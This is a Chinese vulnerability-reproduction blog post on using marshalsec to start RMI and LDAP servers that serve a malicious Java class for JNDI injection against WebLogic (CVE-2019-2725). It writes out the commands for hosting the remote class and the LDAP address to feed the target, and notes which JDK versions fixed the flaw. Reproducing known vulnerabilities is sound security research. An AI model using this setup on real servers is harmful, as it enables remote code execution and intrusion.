关注我们

漏洞复现丨快速开启RMI&&LDAP

ssssss 安全文摘 2019-06-06 796474 0

前言

前段时间,在进行CVE-2019-2725复现时,在第二弹使用了JNDI注入。谈到JNDI自然离不开RMI和LDAP。但是,如果要用代码开启RMI服务未免过于麻烦,毕竟每次都要开启一个idea工程。

marshalsec

为了方便,我们可以使用marshalsec。它的GitHub项目主页为:https://github.com/mbechler/marshalsec
这款神器,可以快速开启RMI和LDAP服务。当然你需要下载源码包,使用maven编译。为了大家使用方便,我在文末的链接里面给出我编译好的marshalsec。

开启RMI

首先,我们需要准备一个http协议的链接容器。我使用tomcat,在tomcat下放置一个恶意类ExportObject

漏洞复现丨快速开启RMI&&LDAP

ExportObject

接下来执行下面的命令即可开启rmi

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8080/文件夹/#ExportObject 8088

#后面填写你的恶意类的类名,它会自动绑定URI,8088是你开启rmi服务的端口号,如果不加端口号,它的默认端口号为1099.恶意类建议使用jdk1.6编译

漏洞复现丨快速开启RMI&&LDAP

rmi

开启LDAP

开启ldap方法差不多,我们只需要将RMIRefServer改为LDAPRefServer即可

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExportObject 8088

如果不加端口号,ldap的默认开启端口是1389
最终访问的ldap地址为ldap://ip:ldapport/ExportObject

实战案例

我们可以在CVE-2019-2725的案例中使用JNDI调用ldap或者rmi服务。这里我以ldap服务来举例。
我们只需要将command中的rmi地址改为ldap即可

漏洞复现丨快速开启RMI&&LDAP

command

我们看下效果

漏洞复现丨快速开启RMI&&LDAP

weblogic控制台

漏洞复现丨快速开启RMI&&LDAP

marshalsec控制台

JNDI修复

使用ldap和rmi配合JNDI注入并不是万能的。通过下图,我们可以清楚得知Oracle对其的修复时间。

漏洞复现丨快速开启RMI&&LDAP

修复时间

该图由pyn3rd师傅提供。
案例使用的jdk为jdk8u181,刚好是ldap修复的jdk8前一个版本

漏洞复现丨快速开启RMI&&LDAP

案例JDK版本

相关文件

最近百度云禁止分享,待解除以后,我将及时分享

鸣谢

pyn3rd

版权声明

本文仅代表作者观点,不代表黑白网立场。
如文章侵犯了您的权利,请通过邮箱联系我们删除。
详情查看:版权纠纷
E-Mail:server@heibai.org

喜欢1发布评论

评论列表

发表评论

  • 昵称(必填)
  • 邮箱
  • 网址